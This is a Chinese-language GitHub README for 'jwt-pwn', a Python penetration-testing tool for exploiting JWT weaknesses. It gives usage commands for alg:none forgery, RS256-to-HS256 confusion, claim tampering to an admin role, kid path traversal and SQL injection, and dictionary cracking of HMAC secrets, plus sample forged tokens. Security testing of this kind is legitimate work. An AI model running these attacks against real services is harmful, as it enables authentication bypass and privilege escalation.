G4MEOVER18/jwt-pwn

GitHub: G4MEOVER18/jwt-pwn

一个纯 Python 3 标准库的 JWT 安全测试工具,零依赖实现多种常见 JWT 漏洞的检测与利用。

Stars: 0 | Forks: 0

# jwt-pwn 一个 Python 3 工具包,无外部依赖,用于发现和利用 JWT 漏洞 —— 专为 Web 应用渗透测试而构建。 ## 已实现的攻击 | 攻击 | CVE 类别 | 描述 | |------|----------|------| | `alg:none` | 签名绕过 | 移除签名,将 `alg` 设为 `none`/`None`/`NONE`/`nOnE` | | RS256→HS256 混淆 | 算法混淆 | 使用 HS256 签名,将 RSA 公钥作为 HMAC 密钥 | | 声明篡改 | 权限提升 | 修改 `role`、`admin`、`exp`、`sub`、`iss` 等 | | `kid` 路径遍历 | 密钥混淆 | 将 `kid` 设为 `/dev/null` → 空 HMAC 密钥 | | `kid` SQL 注入 | 头部中的 SQL 注入 | 在 `kid` 字段中注入 SQL 负载 | | HMAC 暴力破解 | 弱密钥 | 对 HS256/384/512 密钥进行字典攻击 | ## 用法 ``` # JWT 解码和分析 python jwt_pwn.py --decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... # alg:none 攻击 — 生成 4 种变体 python jwt_pwn.py --token eyJ... --alg-none # RS256 → HS256 混淆(指定服务器的 RSA 公钥) python jwt_pwn.py --token eyJ... --rs256-hs256 server_pubkey.pem # 篡改 Claims 并重新签名(已知 Secret) python jwt_pwn.py --token eyJ... --tamper '{"role":"admin","exp":"+9999d"}' --secret weakpassword # kid 路径遍历 → 使用空密钥签名 python jwt_pwn.py --token eyJ... --kid path_traversal # kid SQL 注入 python jwt_pwn.py --token eyJ... --kid sql_injection # 通过暴力破解获取 HMAC 密钥 python jwt_pwn.py --token eyJ... --brute /usr/share/wordlists/rockyou.txt # JSON 输出以集成到其他工具 python jwt_pwn.py --token eyJ... --alg-none --json ``` ## 示例:alg:none ``` [+] alg:none alg_value: none token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0In0. [+] alg:none alg_value: None token: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0In0. ``` ## 示例:解码后的 JWT ``` ── Header ────────────────────────────── { "alg": "HS256", "typ": "JWT" } ── Payload ───────────────────────────── { "sub": "1234567890", "role": "user", "exp": 1716000000 } ⚠ EXPIRED 86400s ago ── Signature (32 bytes) ───────────── 8a7f... ``` ## 前置条件 Python 3.9+ —— 无外部依赖。 ## 参考来源 - [PortSwigger:JWT 攻击](https://portswigger.net/web-security/jwt) - [RFC 7519:JSON Web 令牌](https://tools.ietf.org/html/rfc7519) - [CVE-2015-9235:多个 JWT 库中的 alg:none](https://nvd.nist.gov/vuln/detail/CVE-2015-9235) ## 许可证 MIT 许可证 —— 版权所有 (c) 2026 Yanis Ameseder **比特币:** `39vZWmnUwDReQ15BwqQXzyqVQ6U8LardEf` **PayPal:** [paypal.me/Freakbank1](https://paypal.me/Freakbank1)
标签:API安全, CISA项目, Homebrew安装, JSON输出, JWT安全, JWT攻击, JWT漏洞, Modbus, PoC, Python, Python安全工具, VEH, Web安全, 代码生成, 协议分析, 字典攻击, 密钥注入, 授权绕过, 无依赖, 无后门, 暴力破解, 权限提升, 渗透测试工具, 签名绕过, 算法混淆, 蓝队分析, 认证绕过, 路径遍历